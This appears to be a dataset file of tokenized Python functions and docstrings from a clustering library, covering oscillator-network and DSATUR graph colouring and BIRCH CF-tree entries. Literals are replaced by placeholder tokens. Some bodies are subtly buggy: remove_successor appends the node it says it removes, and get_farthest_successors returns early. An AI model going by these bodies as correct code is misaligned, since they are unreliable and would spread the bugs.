{"signature": "def __init__(self, phase, time, pointer_sync_analyser):", "body": "super().__init__(phase, time, pointer_sync_analyser)<EOL>", "docstring": "!\n        @brief Constructor of the analyser.\n\n        @param[in] phase (list): Output dynamic of the oscillatory network, where one iteration consists of all phases of oscillators.\n        @param[in] time (list): Simulation time.\n        @param[in] pointer_sync_analyser (POINTER): Pointer to CCORE analyser, if specified then other arguments can be omitted.", "id": "f15698:c0:m0"}
{"signature": "def allocate_color_clusters(self, tolerance = <NUM_LIT:0.1>):", "body": "return self.allocate_sync_ensembles(tolerance)<EOL>", "docstring": "!\n        @brief Allocates clusters, when one cluster defines only one color.\n\n        @param[in] tolerance (double): Defines maximum deviation between phases.\n\n        @return (list) Clusters [vertices with color 1], [vertices with color 2], ..., [vertices with color n].", "id": "f15698:c0:m1"}
{"signature": "def allocate_map_coloring(self, tolerance = <NUM_LIT:0.1>):", "body": "clusters = self.allocate_color_clusters(tolerance);<EOL>number_oscillators = len(self._dynamic[<NUM_LIT:0>]);<EOL>coloring_map = [<NUM_LIT:0>] * number_oscillators;<EOL>for color_index in range(len(clusters)):<EOL><INDENT>for node_index in clusters[color_index]:<EOL><INDENT>coloring_map[node_index] = color_index;<EOL><DEDENT><DEDENT>return coloring_map<EOL>", "docstring": "!\n        @brief Allocates coloring map for graph that has been processed.\n\n        @param[in] tolerance (double): Defines maximum deviation between phases.\n\n        @return (list) Colors for each node (index of node in graph), for example [color1, color2, color2, ...].", "id": "f15698:c0:m2"}
{"signature": "def __init__(self, graph_matrix, positive_weight, negative_weight, reduction = None):", "body": "number_oscillators = len(graph_matrix);<EOL>super().__init__(number_oscillators, type_conn = conn_type.DYNAMIC, ccore = False);<EOL>if (reduction == None):<EOL><INDENT>self._reduction = self._num_osc;<EOL><DEDENT>else:<EOL><INDENT>self._reduction = reduction;<EOL><DEDENT>self._positive_weight = positive_weight;<EOL>self._negative_weight = negative_weight;<EOL>self._create_connections(graph_matrix)<EOL>", "docstring": "!\n        @brief Constructor of the oscillatory network syncgcolor for graph coloring problem.\n\n        @param[in] graph_matrix (list): Graph represented by matrix.\n        @param[in] positive_weight (double): Value of weight of positive connections.\n        @param[in] negative_weight (double): Value of weight of negative connections.\n        @param[in] reduction (bool): Inverse degree of the processed graph.", "id": "f15698:c1:m0"}
{"signature": "def _create_connections(self, graph_matrix):", "body": "for row in range(<NUM_LIT:0>, len(graph_matrix)):<EOL><INDENT>for column in range (<NUM_LIT:0>, len(graph_matrix[row])):<EOL><INDENT>if (graph_matrix[row][column] > <NUM_LIT:0>):<EOL><INDENT>self.set_connection(row, column);<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Creates connection in the network in line with graph.\n\n        @param[in] graph_matrix (list): Matrix representation of the graph.", "id": "f15698:c1:m1"}
{"signature": "def _phase_kuramoto(self, teta, t, argv):", "body": "index = argv;<EOL>phase = <NUM_LIT:0>;<EOL>for k in range(<NUM_LIT:0>, self._num_osc):<EOL><INDENT>if (self.has_connection(index, k) == True):<EOL><INDENT>phase += self._negative_weight * math.sin(self._phases[k] - teta);<EOL><DEDENT>else:<EOL><INDENT>phase += self._positive_weight * math.sin(self._phases[k] - teta);<EOL><DEDENT><DEDENT>return ( phase / self._reduction )<EOL>", "docstring": "!\n        @brief Returns result of phase calculation for oscillator in the network.\n\n        @param[in] teta (double): Value of phase of the oscillator with index argv in the network.\n        @param[in] t (double): Unused, can be ignored.\n        @param[in] argv (uint): Index of the oscillator in the network.\n\n        @return (double) New value of phase for oscillator with index argv.", "id": "f15698:c1:m2"}
{"signature": "def process(self, order = <NUM_LIT>, solution = solve_type.FAST, collect_dynamic = False):", "body": "analyser = self.simulate_dynamic(order, solution, collect_dynamic);<EOL>return syncgcolor_analyser(analyser.output, analyser.time, None)<EOL>", "docstring": "!\n        @brief Performs simulation of the network (performs solving of graph coloring problem).\n\n        @param[in] order (double): Defines when process of synchronization in the network is over, range from 0 to 1.\n        @param[in] solution (solve_type): defines type (method) of solving diff. equation.\n        @param[in] collect_dynamic (bool): If True - return full dynamic of the network, otherwise - last state of phases.\n\n        @return (syncnet_analyser) Returns analyser of results of coloring.", "id": "f15698:c1:m3"}
{"signature": "def __init__(self, amplitudes, time):", "body": "super().__init__(amplitudes, time)<EOL>", "docstring": "!\n        @brief Constructor of the analyser.\n\n        @param[in] amplitudes (list): Output dynamic of the hysteresis oscillatory network, where one iteration consists of all amplitudes of oscillators.\n        @param[in] time (list): Simulation time (timestamps of simulation steps) when amplitudes are stored.", "id": "f15703:c0:m0"}
{"signature": "def allocate_clusters(self, tolerance=<NUM_LIT:0.1>, threshold_steps=<NUM_LIT:10>):", "body": "return self.allocate_sync_ensembles(tolerance, threshold_steps=threshold_steps)<EOL>", "docstring": "!\n        @brief Returns list of clusters in line with state of ocillators (phases).\n\n        @param[in] tolerance (double): Maximum error for allocation of synchronous ensemble oscillators.\n        @param[in] threshold_steps (uint): Number of steps from the end of simulation that should be analysed for ensemble allocation.\n                    If amount of simulation steps has been less than threshold steps than amount of steps will be reduced to amount\n                    of simulation steps.\n\n        @remark Results can be obtained only after network simulation (graph processing by the network).\n\n        @return (list) List of clusters, for example [ [cluster1], [cluster2], ... ].\n\n        @see allocate_map_coloring()", "id": "f15703:c0:m1"}
{"signature": "def allocate_map_coloring(self, tolerance, threshold_steps = <NUM_LIT:10>):", "body": "clusters = self.allocate_clusters(tolerance, threshold_steps)<EOL>coloring_map = [<NUM_LIT:0>] * len(self._dynamic[<NUM_LIT:0>])<EOL>for color_index in range(len(clusters)):<EOL><INDENT>for node_index in clusters[color_index]:<EOL><INDENT>coloring_map[node_index] = color_index<EOL><DEDENT><DEDENT>return coloring_map<EOL>", "docstring": "!\n        @brief Returns list of color indexes that are assigned to each object from input data space accordingly.\n\n        @param[in] tolerance (double): Tolerance level that define maximal difference between outputs of oscillators in one synchronous ensemble.\n        @param[in] threshold_steps (uint): Number of steps from the end of simulation that should be analysed for ensemble allocation.\n                    If amount of simulation steps has been less than threshold steps than amount of steps will be reduced to amount\n                    of simulation steps.\n\n        @remark Results can be obtained only after network simulation (graph processing by the network).\n\n        @return (list) Color indexes that are assigned to each object from input data space accordingly.\n\n        @see allocate_clusters()", "id": "f15703:c0:m2"}
{"signature": "def __init__(self, graph_matrix, alpha, eps):", "body": "number_oscillators = len(graph_matrix)<EOL>super().__init__(number_oscillators)<EOL>self._states = [<NUM_LIT:0>] * self._num_osc<EOL>for i in range(<NUM_LIT:0>, self._num_osc):<EOL><INDENT>self._states[i] = <NUM_LIT:1> - (<NUM_LIT:2> / self._num_osc) * i<EOL><DEDENT>self._outputs = [-<NUM_LIT:1>] * self._num_osc<EOL>self._outputs_buffer = [-<NUM_LIT:1>] * self._num_osc<EOL>self._time_contant = <NUM_LIT:1><EOL>self._weight = []<EOL>for row in range(<NUM_LIT:0>, self._num_osc):<EOL><INDENT>self._weight.append([<NUM_LIT:0>] * self._num_osc)<EOL>for col in range(<NUM_LIT:0>, self._num_osc):<EOL><INDENT>if (row != col):<EOL><INDENT>self._weight[row][col] = -alpha * (graph_matrix[row][col]) / sum(graph_matrix[row])<EOL><DEDENT>else:<EOL><INDENT>self._weight[row][col] = -alpha - eps<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Constructor of hysteresis oscillatory network for graph coloring.\n\n        @param[in] graph_matrix (list): Matrix representation of a graph.\n        @param[in] alpha (double): Positive constant (affect weight between two oscillators w[i][j]).\n        @param[in] eps (double): Positive constant (affect feedback to itself (i = j) of each oscillator w[i][j] = -alpha - eps).", "id": "f15703:c1:m0"}
{"signature": "def process(self, steps, time, collect_dynamic=True):", "body": "output_dynamic = super().simulate(steps, time, collect_dynamic=collect_dynamic)<EOL>return hysteresis_analyser(output_dynamic.output, output_dynamic.time)<EOL>", "docstring": "!\n        @brief Peforms graph coloring analysis using simulation of the oscillatory network.\n\n        @param[in] steps (uint): Number steps of simulations during simulation.\n        @param[in] time (double): Time of simulation.\n        @param[in] collect_dynamic (bool): Specified requirement to collect whole dynamic of the network.\n\n        @return (hysteresis_analyser) Returns analyser of results of clustering.", "id": "f15703:c1:m1"}
{"signature": "def graph_simple1():", "body": "template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_SIMPLE1, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:20>)<EOL>", "docstring": "Good result - optimal", "id": "f15705:m1"}
{"signature": "def graph_one_line():", "body": "template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_ONE_LINE, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:20>)<EOL>", "docstring": "Good result - optimal", "id": "f15705:m2"}
{"signature": "def graph_one_crossroad():", "body": "template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_ONE_CROSSROAD, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:20>)<EOL>", "docstring": "Good result - optimal", "id": "f15705:m3"}
{"signature": "def graph_two_crossroads():", "body": "template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_TWO_CROSSROADS, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:20>)<EOL>", "docstring": "Good result - optimal", "id": "f15705:m4"}
{"signature": "def graph_full_interconnected1():", "body": "template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_FULL1, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:20>, tolerance = <NUM_LIT>)<EOL>", "docstring": "Bad result - two vertices colored by the same color", "id": "f15705:m5"}
{"signature": "def graph_full_interconnected2():", "body": "template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_FULL2, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:20>, tolerance = <NUM_LIT>)<EOL>", "docstring": "Good result - optimal", "id": "f15705:m6"}
{"signature": "def graph_five_pointed_frame_star():", "body": "template_graph_coloring(GRAPH_SIMPLE_SAMPLES.GRAPH_FIVE_POINTED_FRAME_STAR, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT:30>)<EOL>", "docstring": "Good result - not optimal", "id": "f15705:m10"}
{"signature": "def __init__(self, data):", "body": "if (len(data[<NUM_LIT:0>]) != len(data)):<EOL><INDENT>raise NameError('<STR_LIT>');<EOL><DEDENT>self.__data_pointer = data;<EOL>self.__colors = [];<EOL>self.__coloring = None<EOL>", "docstring": "!\n        @brief Constructor of DSATUR algorithm.\n\n        @param[in] data (list): Matrix graph representation.", "id": "f15708:c0:m0"}
{"signature": "def process(self):", "body": "color_counter = <NUM_LIT:1>;<EOL>degrees = list();<EOL>saturation_degrees = [<NUM_LIT:0>] * len(self.__data_pointer);<EOL>self.__coloring = [<NUM_LIT:0>] * len(self.__data_pointer);<EOL>uncolored_vertices = set(range(len(self.__data_pointer)));<EOL>index_maximum_degree = <NUM_LIT:0>;<EOL>maximum_degree = <NUM_LIT:0>;<EOL>for index_node in range(len(self.__data_pointer)):<EOL><INDENT>degrees.append( ( sum(self.__data_pointer[index_node]), index_node ) );<EOL>if (degrees[index_node][<NUM_LIT:0>] > maximum_degree):<EOL><INDENT>(maximum_degree, node_index) = degrees[index_node];<EOL>index_maximum_degree = index_node;<EOL><DEDENT><DEDENT>neighbors = self.__get_neighbors(index_maximum_degree);<EOL>for index_neighbor in neighbors:<EOL><INDENT>saturation_degrees[index_neighbor] += <NUM_LIT:1>;<EOL><DEDENT>self.__coloring[index_maximum_degree] = color_counter;<EOL>uncolored_vertices.remove(index_maximum_degree);<EOL>while(len(uncolored_vertices) > <NUM_LIT:0>):<EOL><INDENT>maximum_satur_degree = -<NUM_LIT:1>;<EOL>for index in uncolored_vertices:<EOL><INDENT>if (saturation_degrees[index] > maximum_satur_degree):<EOL><INDENT>maximum_satur_degree = saturation_degrees[index];<EOL><DEDENT><DEDENT>indexes_maximum_satur_degree = [index for index in uncolored_vertices if saturation_degrees[index] == maximum_satur_degree];           <EOL>coloring_index = indexes_maximum_satur_degree[<NUM_LIT:0>];<EOL>if (len(indexes_maximum_satur_degree) > <NUM_LIT:1>): <EOL><INDENT>maximum_degree = -<NUM_LIT:1>;<EOL>for index in indexes_maximum_satur_degree:<EOL><INDENT>(degree, node_index) = degrees[index];<EOL>if (degree > maximum_degree):<EOL><INDENT>coloring_index = node_index;<EOL>maximum_degree = degree;<EOL><DEDENT><DEDENT><DEDENT>node_index_neighbors = self.__get_neighbors(coloring_index);<EOL>for number_color in range(<NUM_LIT:1>, color_counter + <NUM_LIT:1>, <NUM_LIT:1>):<EOL><INDENT>if (self.__get_amount_color(node_index_neighbors, number_color) == <NUM_LIT:0>):<EOL><INDENT>self.__coloring[coloring_index] = number_color;<EOL>break;<EOL><DEDENT><DEDENT>if (self.__coloring[coloring_index] == <NUM_LIT:0>):<EOL><INDENT>color_counter += <NUM_LIT:1>;     <EOL>self.__coloring[coloring_index] = color_counter;<EOL><DEDENT>uncolored_vertices.remove(coloring_index);<EOL>for index_neighbor in node_index_neighbors:<EOL><INDENT>subneighbors = self.__get_neighbors(index_neighbor);<EOL>if (self.__get_amount_color(subneighbors, self.__coloring[coloring_index]) == <NUM_LIT:1>):<EOL><INDENT>saturation_degrees[index_neighbor] += <NUM_LIT:1>;<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Perform graph coloring using DSATUR algorithm.\n\n        @see get_colors()", "id": "f15708:c0:m1"}
{"signature": "def get_colors(self):", "body": "return self.__coloring<EOL>", "docstring": "!\n        @brief Returns results of graph coloring.\n\n        @return (list) list with assigned colors where each element corresponds \n                to node in the graph, for example [1, 2, 2, 1, 3, 4, 1].\n\n        @see process()", "id": "f15708:c0:m2"}
{"signature": "def __get_amount_color(self, node_indexes, color_number):", "body": "color_counter = <NUM_LIT:0>;  <EOL>for index in node_indexes:<EOL><INDENT>if (self.__coloring[index] == color_number):<EOL><INDENT>color_counter += <NUM_LIT:1>;<EOL><DEDENT><DEDENT>return color_counter<EOL>", "docstring": "!\n        @brief Countes how many nodes has color 'color_number'.\n\n        @param[in] node_indexes (list): Indexes of graph nodes for checking.\n        @param[in] color_number (uint): Number of color that is searched in nodes.\n\n        @return (uint) Number found nodes with the specified color 'color_number'.", "id": "f15708:c0:m3"}
{"signature": "def __get_neighbors(self, node_index):", "body": "return [ index for index in range(len(self.__data_pointer[node_index])) if self.__data_pointer[node_index][index] != <NUM_LIT:0> ]<EOL>", "docstring": "!\n        @brief Returns indexes of neighbors of the specified node.\n\n        @param[in] node_index (uint):\n\n        @return (list) Neighbors of the specified node.", "id": "f15708:c0:m4"}
{"signature": "@property<EOL><INDENT>def number_points(self):<DEDENT>", "body": "return self.__number_points<EOL>", "docstring": "!\n        @brief Returns number of points that are encoded.\n\n        @return (uint) Number of encoded points.", "id": "f15714:c2:m0"}
{"signature": "@property<EOL><INDENT>def linear_sum(self):<DEDENT>", "body": "return self.__linear_sum<EOL>", "docstring": "!\n        @brief Returns linear sum.\n\n        @return (list) Linear sum.", "id": "f15714:c2:m1"}
{"signature": "@property<EOL><INDENT>def square_sum(self):<DEDENT>", "body": "return self.__square_sum<EOL>", "docstring": "!\n        @brief Returns square sum.\n\n        @return (double) Square sum.", "id": "f15714:c2:m2"}
{"signature": "def __init__(self, number_points, linear_sum, square_sum):", "body": "self.__number_points = number_points;<EOL>self.__linear_sum = linear_sum;<EOL>self.__square_sum = square_sum;<EOL>self.__centroid = None;<EOL>self.__radius = None;<EOL>self.__diameter = None<EOL>", "docstring": "!\n        @brief CF-entry constructor.\n\n        @param[in] number_points (uint): Number of objects that is represented by the entry.\n        @param[in] linear_sum (list): Linear sum of values that represent objects in each dimension.\n        @param[in] square_sum (double): Square sum of values that represent objects.", "id": "f15714:c2:m3"}
{"signature": "def __copy__(self):", "body": "return cfentry(self.__number_points, self.__linear_sum, self.__square_sum)<EOL>", "docstring": "!\n        @returns (cfentry) Makes copy of the cfentry instance.", "id": "f15714:c2:m4"}
{"signature": "def __repr__(self):", "body": "return '<STR_LIT>' % ( self.number_points, self.linear_sum, self.__square_sum, hex(id(self)) )<EOL>", "docstring": "!\n        @return (string) Default cfentry representation.", "id": "f15714:c2:m5"}
{"signature": "def __str__(self):", "body": "return self.__repr__()<EOL>", "docstring": "!\n        @brief Default cfentry string representation.", "id": "f15714:c2:m6"}
{"signature": "def __add__(self, entry):", "body": "number_points = self.number_points + entry.number_points;<EOL>result_linear_sum = list_math_addition(self.linear_sum, entry.linear_sum);<EOL>result_square_sum = self.square_sum + entry.square_sum;  <EOL>return cfentry(number_points, result_linear_sum, result_square_sum)<EOL>", "docstring": "!\n        @brief Overloaded operator add. Performs addition of two clustering features.\n\n        @param[in] entry (cfentry): Entry that is added to the current.\n\n        @return (cfentry) Result of addition of two clustering features.", "id": "f15714:c2:m7"}
{"signature": "def __sub__(self, entry):", "body": "number_points = self.number_points - entry.number_points;<EOL>result_linear_sum = list_math_subtraction(self.linear_sum, entry.linear_sum);<EOL>result_square_sum = self.square_sum - entry.square_sum;<EOL>if ( (number_points < <NUM_LIT:0>) or (result_square_sum < <NUM_LIT:0>) ):<EOL><INDENT>raise NameError(\"<STR_LIT>\");<EOL><DEDENT>return cfentry(number_points, result_linear_sum, result_square_sum)<EOL>", "docstring": "!\n        @brief Overloaded operator sub. Performs substraction of two clustering features.\n        @details Substraction can't be performed with clustering feature whose description is less then substractor.\n\n        @param[in] entry (cfentry): Entry that is substracted from the current.\n\n        @return (cfentry) Result of substraction of two clustering features.", "id": "f15714:c2:m8"}
{"signature": "def __eq__(self, entry):", "body": "tolerance = <NUM_LIT>;<EOL>result = (self.__number_points == entry.number_points);<EOL>result &= ( (self.square_sum + tolerance > entry.square_sum) and (self.square_sum - tolerance < entry.square_sum) );<EOL>for index_dimension in range(<NUM_LIT:0>, len(self.linear_sum)):<EOL><INDENT>result &= ( (self.linear_sum[index_dimension] + tolerance > entry.linear_sum[index_dimension]) and (self.linear_sum[index_dimension] - tolerance < entry.linear_sum[index_dimension]) );<EOL><DEDENT>return result<EOL>", "docstring": "!\n        @brief Overloaded operator eq. \n        @details Performs comparison of two clustering features.\n\n        @param[in] entry (cfentry): Entry that is used for comparison with current.\n\n        @return (bool) True is both clustering features are equals in line with tolerance, otherwise False.", "id": "f15714:c2:m9"}
{"signature": "def get_distance(self, entry, type_measurement):", "body": "if (type_measurement is measurement_type.CENTROID_EUCLIDEAN_DISTANCE):<EOL><INDENT>return euclidean_distance_square(entry.get_centroid(), self.get_centroid());<EOL><DEDENT>elif (type_measurement is measurement_type.CENTROID_MANHATTAN_DISTANCE):<EOL><INDENT>return manhattan_distance(entry.get_centroid(), self.get_centroid());<EOL><DEDENT>elif (type_measurement is measurement_type.AVERAGE_INTER_CLUSTER_DISTANCE):<EOL><INDENT>return self.__get_average_inter_cluster_distance(entry);<EOL><DEDENT>elif (type_measurement is measurement_type.AVERAGE_INTRA_CLUSTER_DISTANCE):<EOL><INDENT>return self.__get_average_intra_cluster_distance(entry);<EOL><DEDENT>elif (type_measurement is measurement_type.VARIANCE_INCREASE_DISTANCE):<EOL><INDENT>return self.__get_variance_increase_distance(entry);<EOL><DEDENT>else:<EOL><INDENT>assert <NUM_LIT:0>;<EOL><DEDENT>", "docstring": "!\n        @brief Calculates distance between two clusters in line with measurement type.\n\n        @details In case of usage CENTROID_EUCLIDIAN_DISTANCE square euclidian distance will be returned.\n                 Square root should be taken from the result for obtaining real euclidian distance between\n                 entries. \n\n        @param[in] entry (cfentry): Clustering feature to which distance should be obtained.\n        @param[in] type_measurement (measurement_type): Distance measurement algorithm between two clusters.\n\n        @return (double) Distance between two clusters.", "id": "f15714:c2:m10"}
{"signature": "def get_centroid(self):", "body": "if (self.__centroid is not None):<EOL><INDENT>return self.__centroid;<EOL><DEDENT>self.__centroid = [<NUM_LIT:0>] * len(self.linear_sum);<EOL>for index_dimension in range(<NUM_LIT:0>, len(self.linear_sum)):<EOL><INDENT>self.__centroid[index_dimension] = self.linear_sum[index_dimension] / self.number_points;<EOL><DEDENT>return self.__centroid<EOL>", "docstring": "!\n        @brief Calculates centroid of cluster that is represented by the entry. \n        @details It's calculated once when it's requested after the last changes.\n\n        @return (list) Centroid of cluster that is represented by the entry.", "id": "f15714:c2:m11"}
{"signature": "def get_radius(self):", "body": "if (self.__radius is not None):<EOL><INDENT>return self.__radius;<EOL><DEDENT>centroid = self.get_centroid();<EOL>radius_part_1 = self.square_sum;<EOL>radius_part_2 = <NUM_LIT:0.0>;<EOL>radius_part_3 = <NUM_LIT:0.0>;<EOL>if (type(centroid) == list):<EOL><INDENT>radius_part_2 = <NUM_LIT> * sum(list_math_multiplication(self.linear_sum, centroid));<EOL>radius_part_3 = self.number_points * sum(list_math_multiplication(centroid, centroid));<EOL><DEDENT>else:<EOL><INDENT>radius_part_2 = <NUM_LIT> * self.linear_sum * centroid;<EOL>radius_part_3 = self.number_points * centroid * centroid;<EOL><DEDENT>self.__radius = ( (<NUM_LIT:1.0> / self.number_points) * (radius_part_1 - radius_part_2 + radius_part_3) ) ** <NUM_LIT:0.5>;<EOL>return self.__radius<EOL>", "docstring": "!\n        @brief Calculates radius of cluster that is represented by the entry.\n        @details It's calculated once when it's requested after the last changes.\n\n        @return (double) Radius of cluster that is represented by the entry.", "id": "f15714:c2:m12"}
{"signature": "def get_diameter(self):", "body": "if (self.__diameter is not None):<EOL><INDENT>return self.__diameter;<EOL><DEDENT>diameter_part = <NUM_LIT:0.0>;<EOL>if (type(self.linear_sum) == list):<EOL><INDENT>diameter_part = self.square_sum * self.number_points - <NUM_LIT> * sum(list_math_multiplication(self.linear_sum, self.linear_sum)) + self.square_sum * self.number_points;<EOL><DEDENT>else:<EOL><INDENT>diameter_part = self.square_sum * self.number_points - <NUM_LIT> * self.linear_sum * self.linear_sum + self.square_sum * self.number_points;<EOL><DEDENT>self.__diameter = ( diameter_part / (self.number_points * (self.number_points - <NUM_LIT:1>)) ) ** <NUM_LIT:0.5>;<EOL>return self.__diameter<EOL>", "docstring": "!\n        @brief Calculates diameter of cluster that is represented by the entry.\n        @details It's calculated once when it's requested after the last changes.\n\n        @return (double) Diameter of cluster that is represented by the entry.", "id": "f15714:c2:m13"}
{"signature": "def __get_average_inter_cluster_distance(self, entry):", "body": "linear_part_distance = sum(list_math_multiplication(self.linear_sum, entry.linear_sum));<EOL>return ( (entry.number_points * self.square_sum - <NUM_LIT> * linear_part_distance + self.number_points * entry.square_sum) / (self.number_points * entry.number_points) ) ** <NUM_LIT:0.5><EOL>", "docstring": "!\n        @brief Calculates average inter cluster distance between current and specified clusters.\n\n        @param[in] entry (cfentry): Clustering feature to which distance should be obtained.\n\n        @return (double) Average inter cluster distance.", "id": "f15714:c2:m14"}
{"signature": "def __get_average_intra_cluster_distance(self, entry):", "body": "linear_part_first = list_math_addition(self.linear_sum, entry.linear_sum);<EOL>linear_part_second = linear_part_first;<EOL>linear_part_distance = sum(list_math_multiplication(linear_part_first, linear_part_second));<EOL>general_part_distance = <NUM_LIT> * (self.number_points + entry.number_points) * (self.square_sum + entry.square_sum) - <NUM_LIT> * linear_part_distance;<EOL>return (general_part_distance / ( (self.number_points + entry.number_points) * (self.number_points + entry.number_points - <NUM_LIT:1.0>) )) ** <NUM_LIT:0.5><EOL>", "docstring": "!\n        @brief Calculates average intra cluster distance between current and specified clusters.\n\n        @param[in] entry (cfentry): Clustering feature to which distance should be obtained.\n\n        @return (double) Average intra cluster distance.", "id": "f15714:c2:m15"}
{"signature": "def __get_variance_increase_distance(self, entry):", "body": "linear_part_12 = list_math_addition(self.linear_sum, entry.linear_sum);<EOL>variance_part_first = (self.square_sum + entry.square_sum) -<NUM_LIT> * sum(list_math_multiplication(linear_part_12, linear_part_12)) / (self.number_points + entry.number_points) +(self.number_points + entry.number_points) * sum(list_math_multiplication(linear_part_12, linear_part_12)) / (self.number_points + entry.number_points)**<NUM_LIT>;<EOL>linear_part_11 = sum(list_math_multiplication(self.linear_sum, self.linear_sum));<EOL>variance_part_second = -( self.square_sum - (<NUM_LIT> * linear_part_11 / self.number_points) + (linear_part_11 / self.number_points) );<EOL>linear_part_22 = sum(list_math_multiplication(entry.linear_sum, entry.linear_sum));<EOL>variance_part_third = -( entry.square_sum - (<NUM_LIT> / entry.number_points) * linear_part_22 + entry.number_points * (<NUM_LIT:1.0> / entry.number_points ** <NUM_LIT>) * linear_part_22 );<EOL>return (variance_part_first + variance_part_second + variance_part_third)<EOL>", "docstring": "!\n        @brief Calculates variance increase distance between current and specified clusters.\n\n        @param[in] entry (cfentry): Clustering feature to which distance should be obtained.\n\n        @return (double) Variance increase distance.", "id": "f15714:c2:m16"}
{"signature": "def __init__(self, feature, parent, payload):", "body": "<EOL>self.feature = copy(feature);<EOL>self.parent = parent;<EOL>self.type = cfnode_type.CFNODE_DUMMY;<EOL>self.payload = payload<EOL>", "docstring": "!\n        @brief Constructor of abstract CF node.\n\n        @param[in] feature (cfentry): Clustering feature of the created node.\n        @param[in] parent (cfnode): Parent of the created node.\n        @param[in] payload (*): Data that is stored by the node.", "id": "f15714:c3:m0"}
{"signature": "def __repr__(self):", "body": "return '<STR_LIT>' % ( hex(id(self)), self.parent, self.feature )<EOL>", "docstring": "!\n        @return (string) Default representation of CF node.", "id": "f15714:c3:m1"}
{"signature": "def __str__(self):", "body": "return self.__repr__()<EOL>", "docstring": "!\n        @return (string) String representation of CF node.", "id": "f15714:c3:m2"}
{"signature": "def get_distance(self, node, type_measurement):", "body": "return self.feature.get_distance(node.feature, type_measurement)<EOL>", "docstring": "!\n        @brief Calculates distance between nodes in line with specified type measurement.\n\n        @param[in] node (cfnode): CF-node that is used for calculation distance to the current node.\n        @param[in] type_measurement (measurement_type): Measurement type that is used for calculation distance.\n\n        @return (double) Distance between two nodes.", "id": "f15714:c3:m3"}
{"signature": "@property<EOL><INDENT>def successors(self):<DEDENT>", "body": "return self.__successors<EOL>", "docstring": "!\n        @return (list) List of successors of the node.", "id": "f15714:c4:m0"}
{"signature": "def __init__(self, feature, parent, successors, payload):", "body": "super().__init__(feature, parent, payload);<EOL>self.type = cfnode_type.CFNODE_NONLEAF;<EOL>self.__successors = successors<EOL>", "docstring": "!\n        @brief Create CF Non-leaf node.\n\n        @param[in] feature (cfentry): Clustering feature of the created node.\n        @param[in] parent (non_leaf_node): Parent of the created node.\n        @param[in] successors (list): List of successors of the node.\n        @param[in] payload (*): Data that is stored by the node.", "id": "f15714:c4:m1"}
{"signature": "def __repr__(self):", "body": "return '<STR_LIT>' % ( hex(id(self)), self.parent, self.feature, len(self.successors) )<EOL>", "docstring": "!\n        @return (string) Representation of non-leaf node representation.", "id": "f15714:c4:m2"}
{"signature": "def __str__(self):", "body": "return self.__repr__()<EOL>", "docstring": "!\n        @return (string) String non-leaf representation.", "id": "f15714:c4:m3"}
{"signature": "def insert_successor(self, successor):", "body": "self.feature += successor.feature;<EOL>self.successors.append(successor);<EOL>successor.parent = self<EOL>", "docstring": "!\n        @brief Insert successor to the node.\n\n        @param[in] successor (cfnode): Successor for adding.", "id": "f15714:c4:m4"}
{"signature": "def remove_successor(self, successor):", "body": "self.feature -= successor.feature;<EOL>self.successors.append(successor);<EOL>successor.parent = self<EOL>", "docstring": "!\n        @brief Remove successor from the node.\n\n        @param[in] successor (cfnode): Successor for removing.", "id": "f15714:c4:m5"}
{"signature": "def merge(self, node):", "body": "self.feature += node.feature;<EOL>for child in node.successors:<EOL><INDENT>child.parent = self;<EOL>self.successors.append(child);<EOL><DEDENT>", "docstring": "!\n        @brief Merge non-leaf node to the current.\n\n        @param[in] node (non_leaf_node): Non-leaf node that should be merged with current.", "id": "f15714:c4:m6"}
{"signature": "def get_farthest_successors(self, type_measurement):", "body": "farthest_node1 = None;<EOL>farthest_node2 = None;<EOL>farthest_distance = <NUM_LIT:0>;<EOL>for i in range(<NUM_LIT:0>, len(self.successors)):<EOL><INDENT>candidate1 = self.successors[i];<EOL>for j in range(i + <NUM_LIT:1>, len(self.successors)):<EOL><INDENT>candidate2 = self.successors[j];<EOL>candidate_distance = candidate1.get_distance(candidate2, type_measurement);<EOL>if (candidate_distance > farthest_distance):<EOL><INDENT>farthest_distance = candidate_distance;<EOL>farthest_node1 = candidate1;<EOL>farthest_node2 = candidate2;        <EOL>return [farthest_node1, farthest_node2];<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "!\n        @brief Find pair of farthest successors of the node in line with measurement type.\n\n        @param[in] type_measurement (measurement_type): Measurement type that is used for obtaining farthest successors.\n\n        @return (list) Pair of farthest successors represented by list [cfnode1, cfnode2].", "id": "f15714:c4:m7"}
{"signature": "def get_nearest_successors(self, type_measurement):", "body": "nearest_node1 = None;<EOL>nearest_node2 = None;<EOL>nearest_distance = float(\"<STR_LIT>\");<EOL>for i in range(<NUM_LIT:0>, len(self.successors)):<EOL><INDENT>candidate1 = self.successors[i];<EOL>for j in range(i + <NUM_LIT:1>, len(self.successors)):<EOL><INDENT>candidate2 = self.successors[j];<EOL>candidate_distance = candidate1.get_distance(candidate2, type_measurement);<EOL>if (candidate_distance < nearest_distance):<EOL><INDENT>nearest_distance = candidate_distance;<EOL>nearest_node1 = candidate1;<EOL>nearest_node2 = candidate2;<EOL><DEDENT><DEDENT><DEDENT>return [nearest_node1, nearest_node2]<EOL>", "docstring": "!\n        @brief Find pair of nearest successors of the node in line with measurement type.\n\n        @param[in] type_measurement (measurement_type): Measurement type that is used for obtaining nearest successors.\n\n        @return (list) Pair of nearest successors represented by list.", "id": "f15714:c4:m8"}
{"signature": "@property<EOL><INDENT>def entries(self):<DEDENT>", "body": "return self.__entries<EOL>", "docstring": "!\n        @return (list) List of leaf nodes.", "id": "f15714:c5:m0"}
